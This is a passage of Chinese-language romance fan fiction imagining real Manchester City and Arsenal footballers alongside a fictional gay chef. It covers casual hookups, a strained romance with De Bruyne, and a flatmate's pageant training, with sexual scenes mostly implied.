“还是那个死样,那我们放心了。”狐朋狗友似乎习惯克里奇利一惯的为人处事风格,听完他的话狠狠点头,又夸了他一句,“不愧是伦敦gay圈天菜,等着去曼彻斯特看看你都吃了什么好东西。” 唉…一声叹息梗在克里奇利的喉间,像一根刺扎的他差点呕吐,一丝愧疚感从心底深处默默升了上来,他想立刻冲出去把德布劳内找回来,告诉他,“是的,我是你的男朋友,去他的one night主义,我不想错过你。” 其实和德布劳内一来一往之后,他就已经突破了给自己划的界限,只是他还没完全意识到已经陷入了一段始料未及的恋爱之中,现在刚有点觉醒就被自己的死嘴给堵死了去路。 但是无论如何现在都不能再去招惹德布劳内,搞不好这次真要被他往死里打。 实在是摇摆不定,干什么都觉得闹心,在托马斯回来一脸雀跃的和他说今天卖掉了所有临期三明治时,他一语不发地拿上外套,也没和他聊选秀的事,就匆匆忙忙的出门了。 他来到曼彻斯特的gay吧,店名就是大写的英文字母非常醒目的夜店名字“G-A-Y.” 他坐在吧台前喝着酒,抽着烟,一副纨绔的有些可怜的样子,像做梦似的眼眶子一跳一跳的疼。 这时一个寸头小帅哥坐在离他不远的高脚凳上,点了一杯酒,侧过头来看他。 他感觉有人盯着他也朝那边扫了一眼,谁知小帅哥的脖子就像被卡住了一样,一直歪着头看他,还冲他笑。 要是以前,他一准回个笑容,主动打个招呼,接着就会发生一段水到渠成的艳遇,可今天他竟然无动于衷,面对他人的盯看,漠然地狂吸烟,试图用烟雾来遮挡目光。 “没看错的话,是布莱恩克里奇利吧?” 小帅哥看到他沉默的样子,不太确定地用试探的口吻和他打招呼。 克里奇利听出一口伦敦腔来,莫不是自己在伦敦的情债。 “是。”他应了一声,大丈夫坐不更名行不改姓,就算是情债也认了。 “真没看出来。”小帅哥摸了摸鼻子,把手搭在杯沿上来回摩挲,释放出一丝懂的都懂的撩拨讯号,“我见过你,在伦敦的nice,当时你和两个朋友在一起,我试图和你说话,但被其他的事给耽搁了,后来才知道我错过了什么。” “是吗。”克里奇利捏了捏鼻梁,有些疲惫地收回了眼神。 “真的,我都没敢认你,你和之前不太一样。” 只不过是长了一岁而已,哪不一样了,他一句话又惹到克里奇利本就不太爽的心。 “就是,有点颓废,还有文静的像个小猫,哦,一只母猫。” 克里奇利终于不淡定了,他离开座位,径直走过去非常随意地端起小帅哥面前的酒杯,一口闷了,然后扯着他的后脖领就把他拖走了。 一直在努力不让自己为谁而动心,现在更是混蛋的像一个无情的播种机器。 他把伦敦来的小帅哥带进包间里一顿凶狠的输出,里外吃了个透,最后穿上裤子准备走人。 “如果传说中的克里奇利是10分的话,那我给你打9.5,那0.5是你不肯给我的吻。”小帅哥在他身后好像网购评价似的给他打了个4星半的好评。 “留点余地不好吗,一定要说出来吗?说出来就封死了以后所有的可能性。”他把想对德布劳内说的话说给了他听,听的他一头雾水。 “反正又见不到了,你要留我的联系方式吗?” “说的也对,不必了。” 克里奇利带着酒足饭饱后却并不愉悦的心情走在回家的路上,这条还不是很熟悉的路有着曼彻斯特独有的清冷,寒风直往他的领口里钻,他摸摸自己冰凉的嘴唇,上面似乎还停留着德布劳内留下的一丝独有的温存,是他不愿被覆盖的印记。 回到家后已经凌晨2点了,托马斯搂着他的switch游戏机睡着了,他真的好爱这个游戏机,都舍不得给克里奇利玩一会。 克里奇利忽然觉得自己很失败,甚至对自己之前放荡不羁的潇洒过活感到惶恐,现在虽然有一份体面的工作,却没有一个体面的生活,拿什么去说教托马斯,教他选美的时候发表单身主义宣言,告诉所有的gay你们不配拥有我,因为我是大家的这种荒谬的悖论吗。 正当他自我否定的时候,叮的一声来了一条短信,是德布劳内发来的,他说:“对不起,是我唐突了,就算你承认是,我也hold不住你,你有你的生活,我们只是合作伙伴而已,希望不要在今后的工作中给你带来什么负担。” 他回到:“我们可以试试吗?” 等了很久他的眼皮实在是支不住了也没有等到德布劳内的回答。 紧接着,他就要随车去伦敦打客场,该来的还是会来,这次的对手是阿森纳。 第37章 完美无瑕的…… 完美无瑕的脸部轮廓,高挑结实的身材,超级性感的top属性都抵挡不住岁月的侵袭,克里奇利最近总是做一些年龄焦虑的梦。 这天一觉醒来,觉得自己不仅仅是涨了1岁这么简单,心里会莫名其妙地升上来许多恐惧,特别是他每天都看见托马斯那张一掐都能掐出水来的小脸蛋,就觉得再不把他送走去参加比赛,就得被他碾压的渣都不剩,最终成为一匹不性感,不帅气,不年轻也不结实的淘汰种马。 他去阿森纳之前给托马斯报了培训课,托马斯在便利店打工的钱仅够吃喝,因此培训课的钱是克里奇利付的。 托马斯惊讶的拉着他的胳膊,不停地问他,“真的吗,真的吗,你真的让我去选美啦?” “我只是给你报个班,有没有这个命还得看你自己,起码你得学学那些娱乐圈里东西吧,不要像个小傻子似的到处乱撞。” 托马斯高兴地拉住他的胳膊,在他的脸上啵唧亲了一口,说着:“谢谢哥!我会好好努力的,将来赚好多钱连本带利还给你,祝你出差开心。” 克里奇利笑笑,背上包刚要出门,托马斯又叫住他,好奇地问:“怎么这两天没见凯文呢,你俩吵架了?” 克里奇利深吸一口气,没有回头,随便回了他一句,“没有,少管闲事。” 自从上次德布劳内从他家离开,就仅仅是在工作中打个照面这么简单了。 那条短信也不知道他收到了没有,总之,克里奇利没有等到回答,也没有在工作中和他有过多的交集。 德布劳内看上去对工作充满了热情,训练中非常努力,依然保留着他一惯的强硬和眼里揉不得沙子的较真踢法,连冷幽默都变得更冷了。 他的饭搭子,自从克里奇利来了以后饭量涨了一倍的格拉利什,在吃完一个春卷后又跑去拿了一个,还兴冲冲地给凯文推荐,“凯文,布莱恩说今天要吃春卷,很爽口的,你也尝尝。” 德布劳内撇撇嘴说:“盲目相信别人只会让你变成胖狗,进球了我都抱不动的那种。” “哈哈哈……”多库笑出两排大白牙。 “笑什么?胖头鱼!你吃了几个鸡爪了!”凯文毫不客气的凶着自家小比弟弟。 格拉利什垮起小狗脸,抱怨道:“哦,凯文,虽然我们今晚就要出发去伦敦,你也不用这么紧张吧,我一定会好好表现的。” 多库大眼珠转了转,说:“是啊,凯文,你怎么像个医生一样,只会挑毛病。” “对,那你们知道为什么医生会生气吗?” “为什么?” “以为医生没有patience(耐心)(patients病人的谐音。)” 两个人咽了口唾沫,无言以对了。 曼城和阿森纳的比赛被安排在黄金时间晚上8点,和北伦敦德比一样票早就售罄了,连内部工作人员都被限制入场,可以看得出这两只球队相遇有多么大的商业价值了,当然也是英超传统焦点之战,一场火星撞地球的排位争顶战一触即发。 因为接触了球星才看球的克里奇利现在也知道这种比赛大家都很紧张,而他只需要做好车餐和球员定制餐就好了,没什么难的,只是他也跟着莫名的紧张。 一是回伦敦他要得闲去会友,二是极有可能遇见阿森纳的前同事,他曾经喂过的小动物们,虽然很想念他们也有在默默关注他们,但他们一定会因为自己加盟曼城而感到不爽。 以上都是他无聊时乱七八糟的想法,估计早就把他忘了吧。 直到德布劳内上车并跟他说,在他下车时给他准备一个果糖丰富的饮料,他才木讷的回过神来,连声答应他,并在他转身时忍不住问:“凯文,你能直接说想喝什么吗?” “橙汁,石榴汁之类的,最好甜一点,但不要额外加糖。” “好。” 他答应着,又抬眼看了看德布劳内,后者没什么表情,只是对他的态度比起以前要友善疏远了一些。 还不如给他一句,问问问,不知道我想喝什么吗,然后在他给他准备了任意一杯饮料他都会笑眯眯的告诉他好喝,是我要的那个味儿。 他这才有些怅然若失的回过味来,德布劳内对他来说并不只是身体上的吸引,或许在他第一次被他擎高了手臂,勒住脖子请进屋里的时候,就已经打开了他内心想要被成熟男人爱和占有的心门。 特别是在误会被解开时那种突然爆发的情感像咬了一口蘸着白糖的黄油,甜腻的令人上头。 可现在,他又不得不恢复那个高傲自大冷酷无情的混蛋人设,只是这次想要快刀斩乱麻,从甜蜜的互相爱慕中抽身出来有点痛和难过罢了。 为了第二天的赛前发布会和适应场地,他们提前一天来到伦敦,其实酋长球场他们来过很多次了,和阿森纳也是老对手,球员私下关系还算不错,特别是津琴科、热苏斯等球员还是曼城转会过去的,连教练阿尔特塔都曾是瓜迪奥拉的徒弟。 但是近年来,阿森纳的打法越来越出色,在保持压迫的控球战术上又增加了很多进攻属性,成为伦敦球队中遥遥领先的一支劲旅,也是曼城最为看重的对手之一。 所以他们想早一点来伦敦,以示重视,加上最近伤病球员较多,瓜迪奥拉考虑留出更充足的时间让大家休息和调整,以便制定更有针对性地应对策略。 特别强调,晚上根据分配好的房间入住,谁也不许私自调换房间和夜不归宿。 每次来大城市,一些人就按耐不住,身心都想往外跑或者带人进来,所以房间都安排了双人间,彼此盯梢,谁的同屋跑出去被发现了谁就要挨罚,罚的方式千奇百怪,保证让人吃不了兜着走。 有一次福登没看住同屋阿尔瓦雷斯,让他跑出去和他小老弟去叙旧,结果遇上工作人员查房,第二天福登负责给球员接水,让阿尔瓦雷斯好个过意不去,以后再也不敢半夜往外跑了。 所以罚的是站岗放哨的,过意不去的是那个跑出去偷腥的,一举双得,屡试不爽。所以谁也不好意思让同屋难堪,都老老实实地接受安排,早早上床睡觉。 可是,有人不是双人间。 克里奇利就不是,他作为跟车的主厨,算是主动加班,给球队提供能量加持,当然也理所应当地享受特别待遇。 不知道是怎么回事,有人向管理层提出克里奇利跟车的比赛就没输过这个邪门的统计后,每逢客场比赛,克里奇利都主动跟车了,精心设计菜谱和提供热情令人舒适的服务,为他们做好后勤保障,让他们吃好喝好心情好,无形之中缓解着大家的紧张情绪。 他不仅餐做的好,花样多,主要是他往那一坐就给大家一种底气,我们的厨子都这么帅这么精神,还是英国顶级名厨,曼城还有什么是不好的。 其实,队里竞争氛围不仅仅在踢球上,还有一点算是足球以外的东西,就是在自己喜欢的人面前有所表现。 最近工作努力的可不只是德布劳内,鲁本迪亚斯、格拉利时包括福登、格瓦迪奥尔、斯通斯等人都在发愤图强。 他们在看到上次克里奇利给德布劳内赔礼道歉专门做了一个圣诞老人的雪顶草莓小蛋糕的时候,就感觉这个厨子不仅仅是个厨子,还是一个心理按摩师,一个不合格的充电桩——漏电王品牌的。 当他眼神专注的看向你时,就会让你不由自主地想躲避,因为他电人。 福登就被电过一次。一次比赛之后,福登进了一个球,他相当开心,在大巴车上手舞足蹈地和格拉利时、哈兰德他们大声嚷嚷庆祝比赛的胜利,这时克里奇利刚上车,穿过狭窄的通道时,被福登的手臂打到了脸,福登回头一看是他,刚想说sorry,他就把福登原地抱起来和他交换了一下位置,这样他就顺利的通过了过道。 福登很瘦很轻,被他轻松抱起来转到身后,再轻轻放下,听他带着点伯明翰吞音的伦敦腔说着:“祝贺你,菲尔,进的漂亮!” 福登迎上那双神色盎然的大眼睛,还有被他勒住腰的温热手掌,在抱他的时候把衣服搓上去了,正好抚上那截露出来的细腰,让他有一种被暖风吹了一下的舒适感,说不上来,像进球后的心跳。 而他今晚还想试试。 他说卫生间的喷头滴水他睡不着,让格瓦迪奥尔自己睡吧。 格瓦迪奥尔怕他往酒店外面跑连累自己第二天捞不着上场,福登对他说都11点了谁来检查啊,如果来的话你就给我打电话,我保证不出酒店大门,2分钟之内就出现。 “那你去谁的房间啊?”格瓦迪奥尔还不放心。 “瓜迪奥拉那,行了吧?”福登明显撒了个谎,瓜迪奥拉从来都是一个大床房,一杯葡萄酒,10点之后恕不见人。 2分钟后,克里奇利的门铃响了。 “我房间滴水睡不着,你可以收留我吗?”不等克里奇利回答,福登已经登堂入室了。 他拽过克里奇利的被子把自己罩住,只露出一双充满期待的星星眼。 克里奇利无奈,调皮的孩子他见过,调皮的小猴还没和自己混熟就已经跳上床了,该怎么睡呢请问? 第38章 他这可只有…… 他这可只有一张床。 一张床一个单身汉还是一个gay,现在小鲜肉突然跳上他的床,怎么有种肉包子打狗的意味,让克里奇利不扑上去都对不起他这伦敦大种马的名头。 但是,他得先搞清楚福登到底是怎么回事,为什么偏偏跑到他这儿来。 “怎么了?”福登背靠在床头,和克里奇利对视着,克里奇利站在床尾正歪着头皱着眉打量他的动机。 “你要喝一杯再睡吗?”福登看了一眼窗边茶几上摆着的半瓶酒,他掀开被子走过去,拿起酒瓶倒了两杯酒,递给克里奇利一杯,再跟他碰了碰杯,刚要一饮而尽,就被克里奇利握住了手腕。 “你明天有比赛,别喝酒。”克里奇利把酒杯从他紧握的手心里抠出来,然后把两杯都喝了,有点辛辣,他的确不是爱喝酒,是想要那种微醺的状态。 “这有什么,我又不是明天早上踢,这点酒精还不两个小时就代谢了。”福登撇撇嘴,一副无所谓的态度,“好了,这回该睡了吧。” 福登重新爬上床,拉开了被子,邀请他进来。 克里奇利正纳闷福登这么随意怎么之前没看出来,而且他说代谢这些酒精只要两个小时,真是年轻好大的口气,他喝了酒第二天自己在哪都要好好看看,不过福登确实年轻帅气,看上去白嫩的像颗荔枝一掐能掐出水来。 克里奇利终于要问问他到底谁给的他勇气,跑到别人房间跟自己房间似的,还要和他睡一张床一个被窝。 “你睡不睡?”福登等得不耐烦,又把被子抓在自己手里,整个人缩进被窝里然后转过去,不理他了。 克里奇利当然也得睡,只是旁边有个燥热的身体传来丝丝热度惹的他没法平静下来。 “你不怕晚上查房查到我这儿来?”克里奇利有些束缚的平躺着。 “他们不查工作人员的房间。” “你也知道,那查到你不在怎么办?” “我想睡个安稳觉,就算被查到了也总比我睡不好明天输球强吧。” “你确定在我这能睡个安稳觉?” “我觉得应该可以,你很好,我很喜欢你,特别是你身上的味道。” “什么味道?” “牛奶味儿。”说着福登就靠近了他的脖颈,在他锁骨的位置闻了闻。“睡前喝一杯牛奶比喝一杯酒要更助眠,布莱恩,你明白我的意思吗?” 明白,他怎么会不明白,福登这点心思在他刚才与他碰杯时那双不敢与自己对视久了的眼睛就让克里奇利猜了个八九不离十,现在他像个小吸血鬼似的埋在自己的颈窝里,正大胆的要尝一口同是白人男的血有没有牛奶的香甜。 克里奇利握住他的肩头把他按了下去,看着他鲜红的嘴唇咽了口唾沫。 福登躺在床上,等着他亲下来,等了一会没等到,于是主动挺起脖子撅起嘴巴去亲他。 福登的吻技相当成熟,看来没少练,深深浅浅迂回缠绕的,一会猛烈进攻,一会又躲起来伺机发动第二轮进攻,就像他在找机会怎么打门一样,蹭来蹭去,勾人心弦。 克里奇利被他吻了一会势头就支楞起来了,他想伸手去抓福登?*? 的头发,但是只摸到光滑的瓜皮头,没有他想象中的那样柔软蓬松的手感,像丝巾在指缝中滑过的温柔触感,只有短短发梢刚硬的扎着手心的刺痛。 “等等,菲尔。”克里奇利抓住他不老实的手,“代谢酒精可能只需要两个小时,代谢我可不那么容易,短则三两天,长则不知道,你确定吗?” “你怎么犹犹豫豫的?”福登感觉克里奇利不像他想象中那么干脆利索,都这么到位了,怎么还停下来了,这可不是开车,说刹车就能刹住的,反正他这个年纪是刹不住。 “你明天有比赛,我怕弄伤了你。” “那咱俩反过来?” “那不可能。”克里奇利嘴角一勾,又压下了他的肩膀。 “等等。”这回福登反而叫了停,“你有condom吗,别用酒店的,免得退房时尴尬。” “这么贴心,我有的是。” …… 克里奇利想要忘记那段还没开始就已经结束的感情,但即便是主动缠绕他的美好小鲜肉也不能让他忘却和成熟优雅的男人漫步在深林中的感觉。 他的自责和懊悔像棍棒一样狠狠的敲击着他的后脑,让他一次次沉重的前进都变成努力完成任务的规定动作,然而福登却很难被满足,他简直要榨干了他背后的男人。 终于在凌晨1点才让不知疲倦的小猴满足的呼呼大睡,还手脚并用的箍住了他,搞得他一早醒来浑身像组装的一样,酸痛难耐。 福登早就神清气爽的回到自己的房间,开始了一天的行程。 克里奇利头疼的要命,好在他不用准备正餐,只需要准备车餐就可以了,那他也得吃饭啊,于是,他不得不起来冲了个澡,再穿上曼城工作人员的衣服准备出门,突然他看到酒瓶子底下压着一个纸条,他拿起来看了看,是福登的留言。 他说:“真是一个美妙的夜晚,但我希望只存在我们的记忆中。” 克里奇利秒懂,福登只是一时兴起来讨个快餐吃,可是这个快餐让克里奇利累到快虚脱,良心还受到谴责,他始终没有在福登身上找到自己想要的感觉。 不管了,只要他满意就行。 被克里奇利服务过的对象就没有给他差评的,除了那些早上被他忘记名字的扬言要撅了他的小bottoms。 比赛马上就要开始了,克里奇利在车上为他们准备了特制的奶酪鱼肉丸,一人吃上三五颗,确保上场前不会饿肚子,也不会太有负担。 福登手里拿着东西,没腾出手来,他路过餐车的时候只把脖子伸了过去,克里奇利只好亲自喂他吃上两个。 这一喂正好赶上德布劳内回头喊他,“菲尔,拿着我的水杯。” 克里奇利转过头也迎上那双冒着蓝色火焰的眼睛,然后尴尬地冲他笑笑,没把手指放进自己的嘴里而是在围裙上搓了搓。 希望别影响了德布劳内的情绪,他再次为自己的行为感到不安,上次还是哈弗茨让他有过这种愧疚之心,果然还是不能够招惹敏感又重情义的人的,让他本来觉得够硬的心也变得脆弱起来了。 比赛踢得很焦灼,最终2-2打了个平手。阿森纳是厄德高助攻哈弗茨进球,随后德布劳内助攻福登进球,卡拉菲奥里世界波再度领先,又被斯通斯头球绝平。 比分看不出什么,实际踢得很累也很生气,到最后绝平时还引发了小范围的争吵。 比赛结束了,年轻人的不服气还没消下去,加上比赛激烈的对抗导致肾上腺素水平还没降下来,火药味在场上愈演愈烈。 最后两位教练握手言和,又赶紧上场去安抚球员,这才把红蓝双方给区别开来,回到了各自的队伍中去。 克里奇利也要早点退场,去车上看看他们有没有准备好赛后要补充的饮料。 就在他和其他工作人员退场的时候,有人喊了他的名字,他回头一看是只穿一条短裤的赖斯。 他的上衣已经脱了送人了,一身白花花的肌肉明晃晃地向他奔过来,然后一把搂住了他的脖子。 “嘿,布莱恩,来了怎么不给我打电话,出了伦敦就把这帮人给忘了?” 要不是他没穿衣服,镜头非得捕捉到他们不可,克里奇利可是穿着蓝运动服啊。 “没有,不敢在赛前打扰你们。” 紧接着克里奇利的后背又被人推了一把,导致他俩往前跳了一步。 克里奇利回头竟然是厄德高,他从克里奇利的另一边钻过来,自然地绕道了他的胳膊弯里。 “嗨!”他仰着湿漉漉的脸看着克里奇利。 “嗨!”克里奇利拍了拍他的肩头。 “我正到处找你呢。”厄德高踮起脚尖,离克里奇利的脸很近,一头被汗水打湿的金发和一双蓝的透亮的眼睛让克里奇利再次眼晕。“我听了你的话没有挑食,好像真的长个了。” “哦?真的吗?”克里奇利不信。 “真的,我们小队长二次发育了。”赖斯开着玩笑。 “什么二次发育,别瞎说。”厄德高隔着克里奇利打了赖斯一下。 他们三个就像一个队的队友不知不觉走到了球员通道口,那边还有几个媒体在等着采访。 克里奇利身边也陆续有曼城的球员退场,每一个看到被阿森纳两个球员搂着的克里奇利,都瞪他,还有上前薅他的,鲁本更是锤了他一拳。 再不松开就要把他领进阿森纳球员更衣室了,厄德高放他抓着他胳膊的手,说,“我先去采访了,布莱恩,一会别走,咱们聚聚吧。” 克里奇利刚要说好,如果一会没安排的话,这时后背又挨了一掌,他以为是曼城的谁又打他,叫他赶紧回去别在这当叛徒,结果一回头竟然是比他高半头的小驴哈弗茨。 “嗨,布莱恩,又见面了。”哈弗茨面带微笑,主动伸出了右手。 “嗨,小凯。”克里奇利和他握了握手,接着被他拉进怀里,两人抱了个瓷实。 虽然他人不在阿森纳而是去了他们的死对头那里,好像也并没有被他们讨厌,相反隔了这么久再次见面,还是有一种火热在他们胸口被点燃,是往昔情谊的证明,可以让彼此更加清晰更加明确的感受到。 克里奇利走后,厄德高还在接受采访,赖斯搂着哈弗茨对他说,“布莱恩好像瘦了很多,而且状态也不如在阿森纳好了。” “嗯,可能水土不服吧。” 哈弗茨虽然只和克里奇利有过一夜之缘,心里可是一直没忘了他,他也发现克里奇利的眼眶更深,眼神更忧郁了,握他的手跟握自己的手似的,像一把干柴一点都不饱满了,大概是在曼城遇到了什么让他憔悴的人或者事吧。 如果他愿意说,哈弗茨也愿意当他的听众,因为曾经他也因为这个掉过几斤称。 第39章 克里奇利一…… 克里奇利一上车,好家伙,几乎是空车,好多人在赛后都不见踪影了。 因为结束的晚下一个目的地就是酒店,不用急着回城,大家来到伦敦也相当于来了大城市,各种访亲会友都排在了赛后。 瓜迪奥拉也理解,虽然打平了,该放假还是得放不是,他严的时候大嗓门一顿输出跟崩豆似的再难听的话你也得听,他温和的时候就像个慈父,只要你不拆家,爱上哪玩上哪玩,别上花边新闻影响工作就行。 克里奇利自然也没什么工作,他打算回他的阁楼看看,因为有买家出了合适的价格,再过几天这房子就不属于他了。 在伦敦还有个栖身之所,确切地说是为了约会特意筑的没有爱的爱巢。而在曼彻斯特始终像个旅人一样,只有一个单位租的市区小破公寓,治安虽好,热闹不足,对面一个大湿地公园,总想去遛弯喂小动物,感觉已经未老先衰提前去公园熟悉太极位置了。 而且自从收养了阿根廷野生小鹿以来,除了德布劳内他还没带人回去过,道德也变好了,人也变矜持了。 怎么回事他也想不明白,浪子回头了?回哪去,他本来就是缥缈一空帆,在无边无际的大海里晃荡,没有灯塔没有岸更没有一座美丽富饶的小岛肯收留他,其实是他眼盲,看不见周围的群岛,即使有小岛向他发出信号,他也晕陆靠不了几天就又远航了。 刚回到阁楼还没等摸一遍他那些心爱的意大利实木家具就同时收到两条信息,已经半夜11点多了,谁还约他,这时候约的都是寂寞夜归人了,他想。 低头一看,伦敦小分队叫他12点前nice一聚。 厄德高也发讯息给他让他来喝酒聊天,还发了一张聚会的照片。 他想了想,决定还是不去凑阿森纳的局了,时过境迁,无论经历了什么,快乐也好,失望也罢,始终要往前看,他也不是躲避他们,只是要验证自己依然是一匹风情万种的野马,开疆拓土是他本命,最好搅和完伦敦的圈子再把曼彻斯特的圈子搅和的风生水起。 他自诩无情但有义。 于是他在12点准时来到nice和理查德、保罗见面。 谁知他刚步入夜色,穿过熙熙攘攘跳舞的人群,摆脱那些有意无意碰撞他的美好身体,来到他们固定的卡座,就看见这俩人亲在一起了。 “你们在干什么?”他惊讶的伸进去手把他俩强行掰开。 “噢!布莱恩,你来了!”理查德看了他一眼。 “还以为你不来了!”保罗绕开他的胳膊,搂着理查德继续亲,跟两块面团似的不粘在一起难受。 “你俩都无聊到发展成唇友谊了?”克里奇利不太能理解这俩相处了十几年的好哥们,怎么还亲上了,不觉得跟亲自己没两样吗? “谁像你啊,一块没有感情的臭石头,硬邦邦的不懂风情,我们在试婚呢。”理查德之前还说他是遥不可及的绝色,转而就骂他是一块臭硬石头。 “OK,你俩谁在上面?” “无聊。” “真的,我很好奇,都将就成这样了吗?这里面已经没有能看上你俩的了?top稀缺啊,你俩都混成什么鬼了?” “OH fuck you!”理查德和保罗一个勒住他脖子,一个捣他小腹。 聊了一会才知道,这俩人背着他,也不能说背着,他去了曼彻斯特也很少过问伦敦的事儿了。 他们觉得整天鬼混没意思,想互相取暖过点正常日子,每天买买菜,做做饭,一个出去上班,一个在家全职写作,晚上一起吃饭聊天看电影健身,如果有看上的小帅哥,和人家商量一下搞个家政服务,生活有滋有味儿还不受道德谴责,真的挺好的。 但他们知道这样的生活不适合克里奇利,他要是哪天兴冲冲地跑过来给他们介绍这是他男朋友,非惊掉他俩眼珠子不可。 这次见了也是一样。他们说:“布莱恩,你瘦了,看来去曼彻斯特没少贡献力量,要注意身体啊,年龄太小的别去碰了,找点成熟体贴的,还能在事后多包容你,让你没那么愧疚。” “我愧疚什么?” “愧疚30了不赶当初。” “你俩的s嘴赶紧的回去互堵,烦死了!” 他有点后悔来nice遭此羞辱还差点被他俩荒谬的官宣刺瞎了双眼,再多待一会可能就猛不起来了,他俩的x缩力太致命了。 然而,他一进舞池立刻就点燃了周身的小火苗,一堆小帅哥像鲨鱼一样在他身边打转,一个个急着帮他证明年龄不是问题,单身主义万岁!伦敦之夜,属于他的怒放之夜。 只是怒放完了,空虚袭上心头,像被海水吞噬,让他这颗野玫瑰缺氧凋零,只剩下枯萎的花茎和疲惫的情绪,无处安放。 回到曼彻斯特,一切又变的正常起来。 托马斯买了花,插在花瓶里摆在茶几上,让家里更有生气,他说养你都费劲还养花。 托马斯小声声讨他,但目光比从前乖顺了不少。 “培训班上的怎么样了?”他像个家长似的询问托马斯的课业。 “挺好的,学了站姿坐姿和自我介绍的腔调。” “来一段看看。” “在这?” “你要在楼下的喷泉广场脱光了演?” “哥!”托马斯漂亮的脸皱成了包子,“我知道为什么德布劳内和你吵架了,你这张嘴真是不太适合说话。” 克里奇利挠了挠耳朵,不知道该怎么跟他说,自己和德布劳内没下文了。 被克里奇利盯着看的托马斯,以为他要检验这几天培训班的训练成果,还是给他表演了一遍走台流程。 看的克里奇利一脸震惊,撇着嘴拍起了巴掌。 “真是不错,太棒了,阿根廷先生!” 他的赞美就像ai念情诗,毫无感情流露,就是夸3岁小孩会拼图发出的“孩子你真棒”这种称赞型教育。 那也惹得托马斯开心的傻笑,说着不能让你的钱白花,接着又去玩他的游戏机了。 这天,托马斯下了夜班很晚了也不回来,克里奇利给他留了夜宵早早地上床准备睡美容觉,突然接到德布劳内的电话,让他去他家把他的野生动物带回家。 怎么回事,克里奇利纳闷,托马斯怎么跑去德布劳内家了。 半小时后,他开车去德布劳内家把他接回来。 克里奇利观察了一番德布劳内,只有一脸无奈和疑惑,到是没有愤怒的表情。 克里奇利说了声sorry,拉着托马斯的手腕就走。 托马斯一路不吱声,只是低着头掰着自己的手指头。 克里奇利没好气的问他:“怎么回事,老实告诉我,不然我没收你的游戏机!” 托马斯支支吾吾地说:“他来便利店什么都不说甩给我一个信封,我打开一看是一张支票,我一路追到他家想还给他,他不要,让我以后再还他。然后我问起你们最近是不是吵架了。他说你是你,他是他,别管你哥怎么想,当时我说了要资助你就不会反悔。” “我问他,你们是不是分手了。他一生气就把我推出来了,我扒住门框和他说,我哥是一个逃避爱的人,但不代表他不爱,你能不能再给他一次机会,他最近就跟掉了魂儿似的,你没发现他都瘦成皮包骨了吗?” 克里奇利听了差点连车都不会开了,跟听恐怖故事似的,特别是在这凌晨12点空无一人的街道上。 托马斯继续说着:“他说你再不走就叫你哥来接你,他应该知道你来骚扰我后果是什么,我说我才不怕,又不是我跟你要钱的,再说,你这钱我不能要,除非你再给我哥一个机会。他说你爱要不要,不要扔了。” 克里奇利听他在复述刚才发生的事,听着听着又想哭又想笑。 托马斯小心翼翼地问他:“哥,我是不是真的给你惹麻烦了。” 克里奇利搂过他的头,亲了亲他的发顶,说:“没有,你英语说的不错,没白上培训班。” “我可是在努力学英语,噢不,重点不是这个,哥,你真的不去争取你的爱吗,我相信德布劳内会是你的幸福所在。” “你懂什么是幸福,别说了,你这样搞得我明天都没法上班了,唉。” “哥,我不希望你将来后悔。” “你还不了解我,以后我会带不同的人回来,你要是这么忙活,估计得累死。” 托马斯不说话了,他靠在头枕上睡着了。 第二天上班,克里奇利是真有点不自在,他看见大部队来餐厅就餐就跟喝了双倍意式浓缩似的心里打鼓。 不过看到大家还是跟往常一样取餐用餐氛围还挺好的也就慢慢平静下来,谁知他看德布劳内的时候正迎上他看过来的眼睛。 真的不过去说点什么?毕竟昨晚托马斯惹他不高兴了,让他花钱买气生,作为托马斯的哥哥总该说点什么,哪怕说句谢谢呢。 但是拿什么作为障眼法过去找他说话不会太引人注目呢? 正当想着,德布劳内拿着水杯走过来了。 第40章 德布劳内没理他,拿…… 德布劳内没理他,拿起吧台上的咖啡壶往自己的水杯里倒咖啡,克里奇利立刻上前一步,握住了他的手,说,“凯文,我来。” 德布劳内被他的手覆住,匆忙松开手,从他手掌下抽了出来,说了声谢谢。 克里奇利一边给他倒咖啡一边回应他:“应该是我说谢谢。” “我资助他,跟你没关系。” “好,你的眼光不容置疑,但多少和我有点关系吧。” “你非觉得有关系那我也没什么好说的。” 克里奇利把他的水杯盖好,递给他,他拿自己杯子的时候却抢不过来了。 他抬眼看向克里奇利,看到一双充满着孩子气的大眼睛,正眼巴巴的看着他,嘴巴也抿起来,看上去好像闯了很大的祸,让他一时不知道该怎么应对。 那眼神好像在说“求求你!” “干嘛?”他难绷笑意。 “给我个表达感谢或者歉意再或者反悔的机会吧。” “混蛋。”他说道。 克里奇利的手终于从他的杯子上挪开,然后无处安放。 “下班和我去个地方。”他说完不等克里奇利回答就拿着水杯转身离开了。 哦耶!他终于肯再给自己一次接近他的机会了,希望这次可以承接住他给的如此珍贵的一颗后悔糖。 下班后,克里奇利在他专属的休息室洗澡换衣服,兴师动众的跟要参加面试似的把自己从头到脚捯饬了一遍,站在镜子前还不太满意,头发长了,刘海都快戳进眼睛里去了,抹上去吧又太正式了,谁知道他要自己下班后陪他去哪。 压马路是不太可能,酒吧太早,洗浴桑拿派对社交他不爱,还真不知道德布劳内下班喜欢干什么,该不会是和他一样喜欢公园遛弯喂鸟吧。 十分钟后,他从俱乐部后门上了德布劳内的车。 一路气氛有些沉闷,他没话找话跟第一次见面似的,越聊越紧张,德布劳内也不怎么回应他,他只好不停的喝水掩饰尴尬,就连问他我们去哪,德布劳内都不回答他。 车子沿着大道转入乡村小路,春意盎然的嫩绿像屏风一样在车头前徐徐展开,令人稍感放松,终于在一个尖塔高耸入云的哥特式大教堂前停下了。 教堂,克里奇利的死穴。 他一下子又紧张起来,拧着眉头看向德布劳内,德布劳内开门下车和他说了这一路第一句完整的话,“下车,需要我为你开门吗?” “噢。”他双腿有些沉重的迈出车门,刚要伸个懒腰缓解一下,一看庄严肃穆的教堂就感到万分不自在的把胳膊收回来,双手插进兜里,又摸到了烟,刚想说凯文我抽个烟尿个尿你先进去,还没等说出话来就被他拉着进去了。 “最终我还是没能选对衣服。”克里奇利看着自己墨绿色的小皮夹克里面一件黑色衬衫,快要掉档的水洗灰牛仔裤,约会穿搭100分的他和面前这个老旧建筑一整个格格不入。 “嘘,别说话。”德布劳内看了看周围,这个点并没有人,也没有神父,只有旁边一个咖啡厅营业。 “喝咖啡吗?”他感觉浑身跟撒了痒痒粉似的在长椅上坐不住。 “喝什么咖啡,一会有节目,你看着就行了。” “你信基督教?” “我不信教,但我相信上帝是普爱众生的。” 